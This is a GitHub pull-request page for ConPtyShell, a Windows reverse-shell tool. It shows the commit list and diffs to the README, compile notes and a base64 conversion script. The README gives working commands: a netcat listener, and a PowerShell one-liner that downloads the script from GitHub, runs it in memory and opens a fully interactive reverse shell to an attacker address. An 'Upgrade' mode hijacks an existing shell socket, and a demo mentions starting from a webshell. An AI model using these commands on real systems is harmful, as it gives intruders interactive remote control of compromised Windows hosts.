Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
37 commits
Select commit Hold shift + click to select a range
692a026
fix README.md for zsh users
antonioCoco Jun 4, 2021
a7aaa24
Added comment for debugging purpose
antonioCoco Jun 4, 2021
a965dda
bugfix for the type index of a socket object
antonioCoco Jun 5, 2021
3180592
bugfix: unhandled exception now is managed on PtrToStructure
antonioCoco Jun 5, 2021
6c023f7
bugfix: improved handle cleanup and multiple sockets handling in proc…
antonioCoco Jun 5, 2021
042ab07
bugfix: small change in the logic for getting the target socket in th…
antonioCoco Jun 5, 2021
6b01215
small clarification comment added
antonioCoco Jun 5, 2021
8f7d046
small clarification comment added
antonioCoco Jun 5, 2021
b1e33b6
bugfix: socket hijacking selection now works even in processes with m…
antonioCoco Jun 6, 2021
bdd1d84
removed old and unused code
antonioCoco Jun 6, 2021
c2bc85e
small bugfix in the grandparent process find
antonioCoco Jun 6, 2021
25ba8f0
being nice to slower CPUs :)
antonioCoco Jun 6, 2021
0a8afcd
small bugfix in bad management of error
antonioCoco Jun 6, 2021
634003f
code refactor for WSAStartup
antonioCoco Jun 6, 2021
96160d0
removing unnecessary pinvoke definition
antonioCoco Jun 6, 2021
48950d0
bugfix: in IsSocketInherited now it correctly duplicate sockets
antonioCoco Jun 6, 2021
a2f1a45
added some debugging code and comments
antonioCoco Jun 8, 2021
d406c3a
fixed a memory leak bug
antonioCoco Jun 8, 2021
b280e44
added a check for detecting non-overlapped sockets
antonioCoco Jun 8, 2021
54b3c75
some code cleaning
antonioCoco Jun 13, 2021
7ce5fd7
some code cleaning pt 2
antonioCoco Jun 13, 2021
70b6f0a
bugfix no compile
antonioCoco Jun 13, 2021
8577305
improved hijacking socket logic
antonioCoco Jun 13, 2021
d18ad62
Update README.md
antonioCoco Jun 13, 2021
4184b30
code refactor and beautify
antonioCoco Jun 13, 2021
2991983
Merge branch 'dev' of https://github.com/antonioCoco/ConPtyShell into…
antonioCoco Jun 13, 2021
9b8393d
removing debugging functions
antonioCoco Jun 13, 2021
eec1305
Add files via upload
antonioCoco Jun 16, 2021
fec15df
Update README.md
antonioCoco Jun 16, 2021
b221c5b
updated the powershell wrappers
antonioCoco Jun 16, 2021
81cd9b4
Merge branch 'dev' of https://github.com/antonioCoco/ConPtyShell into…
antonioCoco Jun 16, 2021
c7ff0b5
troubleshooting a powershell bug
antonioCoco Jun 17, 2021
6215e12
bugfix: changed logic of reordering multiple sockets
antonioCoco Jun 20, 2021
2873747
updated the powershell wrappers
antonioCoco Jun 20, 2021
e9a66b1
changed some file names for binaries
antonioCoco Jun 20, 2021
1e02f2f
Add files via upload
antonioCoco Jun 20, 2021
212f87b
Update README.md
antonioCoco Jun 20, 2021
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1,046 changes: 731 additions & 315 deletions ConPtyShell.cs

Large diffs are not rendered by default.

1,046 changes: 731 additions & 315 deletions Invoke-ConPtyShell.ps1

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion Invoke-ConPtyShell2.ps1

Large diffs are not rendered by default.

39 changes: 11 additions & 28 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ Then starts 2 Threads for Async I/O:<br>
- one thread for reading from the socket and writing to Pseudo Console input pipe;<br>
- the second thread for reading from the Pseudo Console output pipe and writing to the socket.</p>

ConPtyShell has also the magic button "Upgrade to fully interactive" for your reverse shell, just use it as your needs :)
ConPtyShell has also the magic flag "Upgrade" that transform your current shell in a fully interactive one, use it if you don't want to use a new connection and want to hijack your current shell socket :)

If you want to know further information regarding ConPty you can find a great article [1] in the references section.

Expand Down Expand Up @@ -40,12 +40,6 @@ stty raw -echo; (stty size; cat) | nc -lvnp 3001
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```

or, if you upload the ps1:

```
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001
```

#### Method 2
If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a "Manual" way to get the reverse shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:

Expand All @@ -55,46 +49,33 @@ stty size
nc -lvnp 3001
Wait For connection
ctrl+z
stty raw -echo
fg[ENTER]
stty raw -echo; fg[ENTER]
```
##### Client Side:
Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols
```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
```

or, if you upload the ps1:

```
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
```

#### Method 3 - Upgrade
You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:

**WARN1: Do not use Invoke-WebRequest if you load the assembly directly in powershell because ConPtyShell won't work properly when multiple sockets (and multiple \Device\Afd) are found in the current process**

**WARN2: Only sockets created with the flag WSA_FLAG_OVERLAPPED are compatible with the upgrade. Non overlapped sockets won't give a nice upgraded shell and it will have locks on I/O operations.**

##### Server Side:
```
stty size
nc -lvnp 3001
Wait For connection
ctrl+z
stty raw -echo
fg[ENTER]
stty raw -echo; fg[ENTER]
```
##### Client Side:
Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols

```
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
```


#### Change Console Size
## Change Console Size

In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code:

Expand All @@ -106,13 +87,15 @@ $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Ho
```

## Demo
Below in the video you can watch a simulated scenario where on the left terminal i have a limited access to the server through a webshell and on the right i spawn a fully interactive reverse shell playing around:
Below you can watch 2 demos. The first gif using the **Method 1** with the compiled assemlby in exe format, the second gif is showing the **Method 3** by upgrading your current shell with the ps1 script:

#### Method 1

<img src="https://drive.google.com/uc?id=1xPfNYjhTI5LpovDIustGxkzjNNg2Hc6l">
<img src="demo_1.gif">

### Upgrade demo
#### Method 3 - Upgrade demo

<img src="https://drive.google.com/uc?id=1PRuy_qgezsG0rQ7kjSYl6hxlJMLobTh8">
<img src="demo_2.gif">

## References

Expand Down
2 changes: 1 addition & 1 deletion base64_conversion_commands.ps1
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
$Filename = (Get-Location).Path + "\ConPtyShell_net2.exe"
$Filename = (Get-Location).Path + "\ConPtyShell_dotnet2.exe"
$base64string_x64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
$base64string_x64 | Out-File ConPtyShell.base64
4 changes: 2 additions & 2 deletions compile_command.txt
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
.NET 4.0
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell_net4.exe ConPtyShell.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs

.NET 2.0
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_net2.exe ConPtyShell.cs
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_dotnet2.exe ConPtyShell.cs
Binary file added demo_1.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added demo_2.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.